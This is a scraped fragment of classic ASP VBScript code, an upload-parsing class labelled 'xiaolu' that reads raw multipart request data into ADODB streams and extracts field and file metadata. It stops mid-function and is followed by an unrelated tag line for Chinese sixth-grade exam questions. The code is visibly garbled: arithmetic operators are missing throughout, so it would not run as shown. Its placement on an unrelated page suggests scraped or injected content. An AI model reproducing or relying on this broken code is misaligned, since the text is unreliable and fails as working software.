. <%on error resume next dim data_xlsf class upload_xlsf dim oform,objfile,version public function form(sform) sform=lcase(sform) if not oform.exists(sform) then form="" else form=oform(sform) end if end function public function file(strfile) strfile=lcase(strfile) if not objfile.exists(strfile) then set file=new fileinfo else set file=objfile(strfile) end if end function private sub class_initialize dim requestdata,sstart,vbcrlf,sinfo,iinfostart,iinfoend,tstream,istart,thefile dim ifilesize,sfilepath,sfiletype,sformvalue,sfilename dim ifindstart,ifindend dim iformstart,iformend,sformname version="xiaolu" set oform=server.createobject("scripting.dictionary") set objfile=server.createobject("scripting.dictionary") if request.totalbytes<1 then exit sub set tstream = server.createobject("adodb.stream") set data_xlsf = server.createobject("adodb.stream") data_xlsf.type = 1 data_xlsf.mode =3 data_xlsf.open data_xlsf.write request.binaryread(request.totalbytes) data_xlsf.position=0 requestdata =data_xlsf.read iformstart = 1 iformend = lenb(requestdata) vbcrlf = chrb(13) & chrb(10) sstart = midb(requestdata,1, instrb(iformstart,requestdata,vbcrlf)-1) istart = lenb (sstart) iformstart=iformstart istart 1 while (iformstart 10) < iformend iinfoend = instrb(iformstart,requestdata,vbcrlf & vbcrlf) 3 tstream.type = 1 tstream.mode =3 tstream.open data_xlsf.position = iformstart data_xlsf.copyto tstream,iinfoend-iformstart tstream.position = 0 tstream.type = 2 tstream.charset ="gb2312" sinfo = tstream.readtext tstream.close iformstart = instrb(iinfoend,requestdata,sstart) ifindstart = instr(22,sinfo,"name=""",1) 6 ifindend = instr(ifindstart,sinfo,"""",1) sformname = lcase(mid (sinfo,ifindstart,ifindend-ifindstart)) if instr (45,sinfo,"filename=""",1) > 0 then set thefile=new fileinfo ifindstart = instr(ifindend,sinfo,"filename=""",1) 10 ifindend = instr(ifindstart,sinfo,"""",1) sfilename = mid (sinfo,ifindstart,ifindend-ifindstart) thefile.filename=getfilename(sfilename) thefile.filepath=getfilepath(sfilename) ifindstart = instr(ifindend,sinfo,"content-type: ",1) 14 ifindend = instr(ifindstart,sinfo,vbcr) thefile.filetype =mid (sinfo,ifindstart,ifindend-ifindstart) thefile.filestart =iinfoend thefile.filesize = iformstart -iinfoend -3 thefile.formname=sformname if not objfile.exists(sformname) then objfile.add sformname,thefile end if else tstream.type =1 tstream.mode =3 tstream.open data_xlsf.position = iinfoend data_xlsf.copyto tstream,iformstart-iinfoend-3 tstream.position = 0 tstream.type = 2 tstream.charset ="gb2312" sformvalue = tstream.readtext tstream.close if oform.exists(sformname) then oform(sformname)=oform(sformname)&", "&sformvalue else oform.add sformname,sformvalue end if end if iformstart=iformstart istart 1 wend requestdata="" set tstream =nothing end sub private sub class_terminate if request.totalbytes>0 then oform.removeall objfile.removeall set oform=nothing set objfile=nothing data_xlsf.close set data_xlsf =nothing end if end sub private function getfilepath(fullpath) if fullpath <> "" then getfilepath = left(fullpath,instrrev(fullpath, "\")) else getfilepath = "" end if end function private function getfilename(fullpath) if fullpath <>
Tag:小学六年级语文试题，小学语文试题,小学语文试题及答案，语文教学 - 小学六年级语文试题